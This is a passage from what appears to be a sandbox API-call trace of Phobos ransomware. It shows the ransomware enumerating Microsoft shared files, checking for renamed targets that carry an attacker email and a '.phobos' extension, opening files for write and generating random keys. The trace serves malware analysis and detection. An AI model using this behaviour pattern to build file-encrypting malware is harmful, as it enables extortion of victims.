lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.528] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2570) returned 1 [0048.528] CloseHandle (hObject=0x31c) returned 1 [0048.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml")) returned 0x20 [0048.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsid.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsid.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.530] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.531] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2626) returned 1 [0048.531] CloseHandle (hObject=0x31c) returned 1 [0048.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0048.532] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.533] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.535] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2240) returned 1 [0048.535] CloseHandle (hObject=0x31c) returned 1 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0048.535] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.535] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.536] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.538] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2596) returned 1 [0048.538] CloseHandle (hObject=0x31c) returned 1 [0048.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0048.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.540] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.540] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.559] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1074) returned 1 [0048.559] CloseHandle (hObject=0x31c) returned 1 [0048.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0048.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.560] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.561] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0048.616] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=231) returned 1 [0048.616] CloseHandle (hObject=0x31c) returned 1 [0048.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0048.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0048.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.617] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0048.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.091] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=23871) returned 1 [0049.091] CloseHandle (hObject=0x310) returned 1 [0049.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0049.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.091] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.091] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.094] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=6406) returned 1 [0049.094] CloseHandle (hObject=0x310) returned 1 [0049.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0049.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.095] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.154] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=235) returned 1 [0049.154] CloseHandle (hObject=0x310) returned 1 [0049.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0049.154] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.154] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.154] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.156] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=237) returned 1 [0049.156] CloseHandle (hObject=0x310) returned 1 [0049.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0049.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.158] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.159] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=233) returned 1 [0049.159] CloseHandle (hObject=0x310) returned 1 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0049.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.159] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.160] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.161] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1920) returned 1 [0049.161] CloseHandle (hObject=0x310) returned 1 [0049.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0049.161] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.162] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.162] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.162] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=232) returned 1 [0049.162] CloseHandle (hObject=0x310) returned 1 [0049.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0049.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.163] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.164] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.165] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=230) returned 1 [0049.165] CloseHandle (hObject=0x310) returned 1 [0049.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0049.165] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.165] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.165] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.166] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=7505) returned 1 [0049.166] CloseHandle (hObject=0x310) returned 1 [0049.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0049.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.166] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.190] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=14856) returned 1 [0049.190] CloseHandle (hObject=0x310) returned 1 [0049.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0049.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.191] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.191] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.192] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=630) returned 1 [0049.192] CloseHandle (hObject=0x310) returned 1 [0049.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0049.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.192] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0049.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0049.192] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9804) returned 1 [0049.192] CloseHandle (hObject=0x310) returned 1 [0049.192] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0049.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0049.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.193] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, 